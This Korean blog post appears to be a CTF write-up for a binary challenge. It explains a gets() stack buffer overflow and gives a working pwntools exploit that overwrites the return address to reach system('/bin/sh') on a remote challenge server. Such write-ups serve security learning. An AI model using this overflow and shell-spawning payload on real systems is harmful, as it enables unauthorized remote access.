이 문제는 0x40080D부터 시작을 한다.
0x400D23->0x400CE50>0x400CA7->0x400C69->0x400C2B->0x400BED->0x400BAF->0x400B71->0x400B33->0x400AF5->0x400AB7->0x400A79->0x400A3B->0x4009FD->0x4009C4->0x400994를 거치면 Stage-1 clear!를 출력할 수 있다. 0x400994부분에 gets(&v1) 부분이 취약점이다. V1은 ebp-0x10에 위치하고 길이를 공격자 마음대로 줄 수 있으므로 리턴어드레스 부분을 덮을 수 있다. 처음에는 스택버퍼오버플로우를 이용하려 했지만, 스택영역에 실행권한이 주어지지 않았으므로 할 수 없었다. 0xx400984부분에 system(“/bin/sh”)를 실행시킬 수 있는 부분이 있다. 따라서 리턴 어드레스에 0x400984를 넣어주면 쉘을 딸 수 있다.
from pwn import*
import time
s=remote('cykor.kr',10004)
payload="23e1b13b4bc86d1c563020056bc2635f88156F59FC1ADCE628C2AB8732D3EA796DF9811B38DD3B6AA5670546BAD037E6B03CE7EA4791513EA8EC287CF3CC5552D5A2B7B72C6EF5EE9AF22CD0F1ED2979891B95A4D83AFE1222ECBB6EA8EF30D8E69FD0A5CD4B65E584E07F3F214DD9E32669C5A02ADED744"
s.send(payload+'\n')
time.sleep(1)
s.recv(1024)
time.sleep(1)
s.send("A"*24+"\x84\x09\x40\x00\x00\x00\x00\x00"+"\n")
time.sleep(1)
s.interactive()
'시스템 해킹 > cykor' 카테고리의 다른 글
2015410208-got overwrite (0) | 2018.01.02 |
---|---|
daRk_TempLer-read함수의 null (0) | 2017.12.29 |
20121209-메모리 릭, fake ebp (0) | 2017.12.29 |
dethstarr (0) | 2017.03.11 |
how2heap/poison_null_byte.c (0) | 2017.01.01 |